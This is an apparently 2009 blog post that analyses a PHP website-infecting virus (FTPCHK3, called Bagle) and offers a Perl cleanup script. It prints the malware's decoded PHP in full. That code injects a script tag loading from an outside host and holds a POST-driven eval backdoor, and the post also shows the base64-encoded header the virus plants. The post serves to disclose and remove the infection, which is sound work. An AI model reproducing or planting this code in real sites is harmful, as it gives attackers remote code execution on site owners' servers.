Thursday, October 15, 2009

PHP Code Analysis of Bagle Virus

The code

The following is the code that is executed on all pages infected by this virus :

if (!isset ($b0sr1))
{
function b0sr ($s)
{
if (preg_match_all ('#<script(.*?)</script>#is', $s, $a))
foreach ($a[0] as $v)
if (count (explode ("\n", $v)) > 5)
{
$e = preg_match ('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#', $v)
|| preg_match ('#[\(\[](\s*\d+,){20,}#', $v);
if ((preg_match ('#\beval\b#', $v)
&& ($e || strpos ($v, 'fromCharCode'))) || ($e
&& strpos ($v,
'document.write')))
$s = str_replace ($v, '', $s);
}
if (preg_match_all
('#<iframe ([^>]*?)src=[\'"]?(http:)?//([^>]*?)>#is', $s, $a))
foreach ($a[0] as $v)
if (preg_match
('# width\s*=\s*[\'"]?0*[01][\'"> ]|display\s*:\s*none#i', $v)
&& !strstr ($v, '?'.'>'))
$s = preg_replace ('#'.preg_quote ($v, '#').'.*?</iframe>#is', '', $s);
$s = str_replace ($a =
base64_decode
('PHNjcmlwdCBzcmM9aHR0cDovL2dlbXVzLnBsL2RiL2Z0cGNoazMucGhwID48L3NjcmlwdD4='),
'', $s);
if (stristr ($s, '<body'))
$s = preg_replace ('#(\s*<body)#mi', $a.'\1', $s);
elseif (strpos ($s, ',a')) $s. = $a;
return $s;
}
function b0sr2 ($a, $b, $c, $d)
{
global $b0sr1;
$s = array ();
if (function_exists ($b0sr1))
call_user_func ($b0sr1, $a, $b, $c, $d);
foreach (@ob_get_status (1) as $v)
if (($a = $v['name']) == 'b0sr')
return;
elseif ($a == 'ob_gzhandler') break;
else
$s[] = array ($a == 'default output handler' ? false : $a);

for ($i = count ($s) - 1; $i >= 0; $i--)
{
$s[$i][1] = ob_get_contents ();
ob_end_clean ();
}
ob_start ('b0sr');

for ($i = 0; $i < count ($s); $i++)
{
ob_start ($s[$i][0]);
echo $s[$i][1];
}
}
}
$b0srl = (($a = @set_error_handler ('b0sr2')) != 'b0sr2') ? $a : 0;
eval (base64_decode ($_POST['e']));

FTPCHK3 : Virus that adds malicious scripts to your website.

Intro
This virus changes all your web files, php, html javascript and tpl files in prominent CMS systems to add a malicious script into your site. This injection allows the attacker to remotely execute PHP code on your website if the php infected code is running on your pages. Its supposedly called Bagle. But who cares about the name? It's nasty and start fixing.

How it got in ?
This can be due to potential security holes in your FTP server programs and/or the anonymous user access being activated in your FTP configuration.

What it does?
It adds scripts to html, javascript files and adds a unique php script code to the beginning of every php file. It looks like


<?php eval(base64_decode('aWYoIWlzc2V0KCRiMHNyMSkpe2Z1bmN0aW9uIGIwc3IoJHMpe2lmKHByZWdfbWF0Y2hfYWxsKCcjPHNjcmlwdCguKj8pPC9zY3JpcHQ+I2lzJywkcywkYSkpZm9yZWFjaCg
kYVswXSBhcyAkdilpZihjb3VudChleHBsb2RlKCJcbiIsJHYpKT41KXskZT1wcmVnX21hdGNoKCcjW1wnIl1bXlxzXCciXC4sO1w/IVxbXF06Lzw+XChcKV17MzAsfSMnLCR2KXx8cHJlZ19tYXRjaCgnI1tc
..
//Truncated
..
ZW5kX2NsZWFuKCk7fW9iX3N0YXJ0KCdiMHNyJyk7Zm9yKCRpPTA7JGk8Y291bnQoJHMpOyRpKyspe29iX3N0YXJ0KCRzWyRpXVswXSk7ZWNobyAkc1skaV1bMV07fX19J
GIwc3JsPSgoJGE9QHNldF9lcnJvcl9oYW5kbGVyKCdiMHNyMicpKSE9J2Iwc3IyJyk/JGE6MDtldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUWydlJ10pKTs=')); ?>


The code adds scripts to your code like
<script src=http://gemus.pl/db/ftpchk3.php ></script>

and executes codes coming via POST requests.


Removal

Backup your web directory, just in case something gets messed up.

The following scripts scans files and removes most of the infection. I have written it to remove infected files from college website and it worked fine. Paste the following code in your web directory and execute. It renames infected files with file.infected and removes code from the file and updates your file to remove the code.

#!/usr/bin/perl

# http://digitalpbk.blogspot.com/2009/10/ftpchk3-virus-php-pl-hacked-website.html

use strict;

`grep -Rn aWYoIWlzc2V0KCRiMHNyMSkpe2Z1bmN0aW9u * | cut -d ':' -f 1 > listofinfected`;

open FP,"listofinfected";
my $file;
while($file = <FP>){
print "Testing $file ... ";
chomp($file);
if(-e ($file)){
open VI,$file;
my @filecon = <VI>;
close VI;

if($filecon[0] =~ m/aWYoIWlzc2V0KCRiMHNyMSkpe2Z1bmN0aW9u/){

$filecon[0] =~ s/(<\?.*?\?>)//g;

rename($file,$file.".infected");

open VI,">$file";
print VI join('',@filecon);
close VI;

print $file." Fixed !!";
}
}
print "\n";
}

close(FP);

`grep -Rn ftpchk3.php * | cut -d ':' -f 1 > listofinfected2`;

open FP,"listofinfected2";
my $file;
while($file = <FP>){
print "Testing $file ... ";
chomp($file);
if(-e ($file)){
open VI,$file;
my @filecon = <VI>;
close VI;

my $fc = join('',@filecon);
$fc =~ s|document.write('<script(.*?)ftpchk3.php(.*)script>');||sig;
$fc =~ s|<script[\s]+src="?http(.*?)ftpchk3.php(.*?)script>||sig;



rename($file,$file.".infected");

open VI,">$file";
print VI $fc;
close VI;

print $file." Fixed !!";
}
print "\n";
}

close(FP);



How to execute?

Copy paste the code to a file called anti.pl
From the terminal run
perl anti.pl


Analysis
Those who are intereseted in how it works, here is an analysis

Happy fixing...
PS: Fix it asap.. the virus is supposed to delete your files.